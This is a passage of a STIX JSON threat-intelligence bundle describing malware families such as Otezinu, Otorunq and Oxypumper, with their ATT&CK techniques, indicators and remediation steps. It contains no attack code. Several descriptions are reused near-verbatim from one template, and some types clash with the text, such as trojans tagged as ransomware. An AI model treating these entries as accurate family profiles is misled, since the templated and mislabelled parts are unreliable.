`explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Orsam reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Orsam",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/orsam"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5fe603b-6455-570a-9068-6b6b8c367d16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8dc8b6db-4485-5719-a6ee-5cdf9f84a5f1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orsam exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a7cb40f-6c3e-5d61-8e03-e9e62c77f229",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8dc8b6db-4485-5719-a6ee-5cdf9f84a5f1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orsam exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f33c350-b8dd-5cdb-ad67-569814306930",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8dc8b6db-4485-5719-a6ee-5cdf9f84a5f1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orsam exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e757955-c396-5bb0-a39e-7382b6645f8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8dc8b6db-4485-5719-a6ee-5cdf9f84a5f1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orsam exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b5e664d-041b-59f3-b9f5-db8478d5e8a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8dc8b6db-4485-5719-a6ee-5cdf9f84a5f1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orsam exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cbc4eebf-8033-56be-a923-cc01408670ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Otezinu",
      "description": "Trojan:Win32/Otezinu is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Otezinu</b><br>To an end-user, a Otezinu infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Otezinu is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Otezinu is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Otezinu frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Otezinu reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Otezinu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/otezinu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6e7dd81-8687-5c6d-a211-c090bc47ccb9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cbc4eebf-8033-56be-a923-cc01408670ea",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Otezinu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7521810-fac4-5efa-934e-6b4740bc3743",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cbc4eebf-8033-56be-a923-cc01408670ea",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Otezinu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e741de4-66ae-5885-bbb2-504ad13875fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cbc4eebf-8033-56be-a923-cc01408670ea",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Otezinu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28526f7d-736b-55ec-a860-bb7ca233a4dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cbc4eebf-8033-56be-a923-cc01408670ea",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Otezinu exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0985771-69ec-5610-a656-99b941365f43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cbc4eebf-8033-56be-a923-cc01408670ea",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Otezinu exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bd3ba577-7597-5f0a-879b-49d91e60a614",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Otorunq",
      "description": "<h3>Executive Summary</h3>\nOtorunq is a network worm and trojan that utilizes the legacy Windows `autorun.inf` feature for aggressive lateral movement and propagation. While AutoRun attacks have been heavily mitigated in modern Windows operating systems, Otorunq remains a threat in legacy environments, industrial control systems (ICS/SCADA), and through the infection of removable USB storage devices.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nOtorunq propagates almost exclusively via physical media. When an infected USB drive is plugged into a vulnerable Windows machine, the OS reads a hidden `autorun.inf` file created by the worm. This file instructs the OS to automatically execute the malware executable (often hidden or masquerading as a folder icon) without any user interaction.\n\nUpon execution, Otorunq focuses on spreading and establishing a backdoor:\n<ul>\n<li><strong>Drive Enumeration:</strong> The worm actively monitors the system for newly connected removable drives or mapped network shares.</li>\n<li><strong>Replication:</strong> When a new drive is detected, Otorunq silently copies its primary executable to the root of the drive and generates a new, malicious `autorun.inf` file pointing to the payload.</li>\n<li><strong>Payload Execution:</strong> While propagation is its primary function, Otorunq typically acts as a loader for secondary payloads. It will attempt to connect to a C2 server to download infostealers or backdoors, transforming the compromised host into a botnet node.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile easily blocked on fully patched Windows 10/11 systems, Otorunq poses a severe threat to air-gapped networks, legacy manufacturing floors, and healthcare environments where USB drives are frequently used to transfer data between older, unpatched systems.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Disable AutoRun/AutoPlay:</strong> The immediate, enterprise-wide remediation is to enforce a Group Policy Object (GPO) that completely disables AutoRun and AutoPlay functionality across all drives (removable, network, and CD/DVD).</li>\n<li><strong>USB Sanitation Station:</strong> Implement a mandatory policy where all external USB drives must be scanned and sanitized at a dedicated kiosk before being plugged into corporate workstations.</li>\n<li><strong>Endpoint Sweeps:</strong> Utilize AV/EDR to sweep endpoints for hidden executables and `autorun.inf` files residing in the root directories of all attached drives (`C:\\`, `D:\\`, etc.).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm.Otorunq",
        "AutoRun.Otorunq",
        "Win32/Otorunq"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Otorunq",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/otorunq"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9ec32cf-9e16-5276-b302-a5cf9de49626",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd3ba577-7597-5f0a-879b-49d91e60a614",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Otorunq exhibits technique T1091 (Replication Through Removable Media (The core propagation mechanism using autorun.inf))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9bb8d4ec-5f7f-5325-b4c4-98eb8ff166f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd3ba577-7597-5f0a-879b-49d91e60a614",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Otorunq exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6a7cb48-6045-58d5-a4a8-f4eb6df31285",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd3ba577-7597-5f0a-879b-49d91e60a614",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Otorunq exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--adfa5869-72ab-5bff-9be0-2bcd03ef8561",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ou0Bsubcbkhb",
      "description": "<h3>Executive Summary</h3>\n\"Ou0bsubcbkhb\" is a machine-generated detection signature utilized by advanced heuristic antivirus engines. It does not identify a specific, named malware family, but rather flags an executable file or network request that exhibits characteristics strongly associated with highly obfuscated malware droppers or heavily packed Trojans attempting to evade static analysis.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nThe pseudo-random string \"Ou0bsubcbkhb\" is typical of the naming conventions used by security vendors when an unknown file triggers behavioral alerts but fails to match a known static signature. \n\nFiles or network requests flagged with this identifier frequently demonstrate:\n<ul>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed or encrypted using custom algorithms (or multiple layers of commercial packers), aiming to hide the true malicious payload from static analysis and reverse engineering tools.</li>\n<li><strong>Suspicious API Calls:</strong> The program attempts to execute sequences of Windows APIs commonly used by malware, such as attempting process injection (e.g., `VirtualAllocEx`, `WriteProcessMemory`), modifying critical registry keys for persistence, or attempting to silently download secondary executable files.</li>\n<li><strong>Evasion Tactics:</strong> The binary contains anti-debugging or anti-VM (Virtual Machine) instructions, attempting to determine if it is being analyzed in a sandbox environment before executing its true payload.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nWhile a generic detection lacks the context of a known family, an alert for this identifier is a severe security event. It definitively indicates the presence of a zero-day threat, a newly compiled variant of a known trojan, or a highly evasive initial access dropper that the antivirus engine has flagged purely based on malicious intent.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Treat the alert as a verified infection. Isolate the endpoint from the corporate network immediately to prevent potential data exfiltration or the download of secondary payloads.</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated malware sandbox to monitor its behavior, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n<li><strong>Hash Enrichment Lookups:</strong> Take the full file hash associated with the alert and query it against threat intelligence platforms to see if other security vendors have identified the specific malware family.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.Obfuscated",
        "Suspicious.Ou0bsubcbkhb",
        "Heur.Ou0bsubcbkhb"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ou0Bsubcbkhb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ou0bsubcbkhb"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98777a3d-379c-5736-98a4-b7b8d92b2543",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--adfa5869-72ab-5bff-9be0-2bcd03ef8561",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ou0Bsubcbkhb exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--727783f4-35b4-5ed7-a5cb-459c26a3ef9f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--adfa5869-72ab-5bff-9be0-2bcd03ef8561",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ou0Bsubcbkhb exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4947de80-0be9-5356-a6dd-29527b7c23e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--adfa5869-72ab-5bff-9be0-2bcd03ef8561",
      "target_ref": "attack-pattern--ed3e1a5f-06b6-507d-9fd6-af71cc9084a3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ou0Bsubcbkhb exhibits technique T1140 (Deobfuscate/Decode Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b990e22c-15f9-5800-b8c4-fa9a7b79900c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Outbreak",
      "description": "Trojan:Win32/Outbreak is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Outbreak</b><br>To an end-user, a Outbreak infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Outbreak is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Outbreak is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Outbreak frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Outbreak reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Outbreak",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/outbreak"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e3ba81fd-6008-5c6c-b517-77bc8296df4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b990e22c-15f9-5800-b8c4-fa9a7b79900c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Outbreak exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e663729-1848-5125-8c3e-95299374b010",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b990e22c-15f9-5800-b8c4-fa9a7b79900c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Outbreak exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49fe78d5-52c1-57d8-bbcc-2f77c3754b2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b990e22c-15f9-5800-b8c4-fa9a7b79900c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Outbreak exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57696cfc-e86c-5ee1-8219-05b962d94081",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b990e22c-15f9-5800-b8c4-fa9a7b79900c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Outbreak exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a0ac234-408b-50fe-80ba-6e13385e43a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b990e22c-15f9-5800-b8c4-fa9a7b79900c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Outbreak exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--185e16d1-c488-5343-a9f6-f4a842d78d3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Outbrowse",
      "description": "Outbrowse (cataloged across security vendors and threat intelligence databases as SoftwareBundler:Win32/Outbrowse, PUA:Win32/Outbrowse, and PUP.Optional.Outbrowse) is a prolific software bundler, installer monetization engine, and adware platform active since 2013. Designed to monetize free software downloads across aggregator sites, Outbrowse wraps requested legitimate utilities inside a custom-designed setup application. During the installation wizard, Outbrowse uses multi-stage installation prompts with deceptive button placements (Accept, Decline, Skip All), pre-checked checkboxes, and obfuscated licensing terms to covertly install third-party riskware. Components bundled by Outbrowse include invasive adware plugins, browser search redirectors, cryptomining utilities, and persistent background updater services. (Observed samples in benchmark: 34)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "SoftwareBundler:Win32/Outbrowse",
        "PUA:Win32/Outbrowse",
        "PUP.Optional.Outbrowse",
        "Win32/Outbrowse",
        "Adware.Outbrowse",
        "SoftwareBundler:Win32/Outbrowse.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Outbrowse",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/outbrowse"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8486d667-3c19-554e-bc42-06ef51940ef5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Oxynoxy",
      "description": "<h3>Executive Summary</h3>\nOxynoxy is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nOxynoxy is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Oxynoxy operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Oxynoxy ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Oxynoxy receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Oxynoxy infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Oxynoxy executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Oxynoxy frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Oxynoxy",
        "Downloader.Oxynoxy",
        "Win32/Oxynoxy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Oxynoxy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/oxynoxy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69b09276-f796-54c3-9863-25817036e8bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8486d667-3c19-554e-bc42-06ef51940ef5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oxynoxy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--860419d3-bfa1-5fa0-acf0-460bc09bfc60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8486d667-3c19-554e-bc42-06ef51940ef5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oxynoxy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1fcbb08f-8b36-5a1b-b49d-863938b30752",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8486d667-3c19-554e-bc42-06ef51940ef5",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oxynoxy exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7f541c46-b8f7-512e-842b-d01359badfea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Oxypumper",
      "description": "Oxypumper (tracked across endpoint security vendors and threat intelligence databases as VirTool:Win32/Oxypumper, Tool:Win32/Oxypumper, and HackTool:Win32/Oxypumper) is a specialized binary inflation and file-pumping utility active in cybercrime forums since 2015. Authored as a pre-distribution evasion tool, Oxypumper enables malware operators to artificially inflate the physical file size of compiled executables, dynamic link libraries, and payload stubs by padding them with megabytes of null bytes (0x00), repeated junk characters, or dummy resources. By ballooning small 200KB malware binaries into files exceeding 50MB, 100MB, or even 200MB, Oxypumper exploits hardcoded file size inspection limits in email security gateways, web proxies, and cloud sandbox platforms (which routinely bypass deep analysis on oversized files to preserve processing throughput). (Observed samples in benchmark: 35)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "VirTool:Win32/Oxypumper",
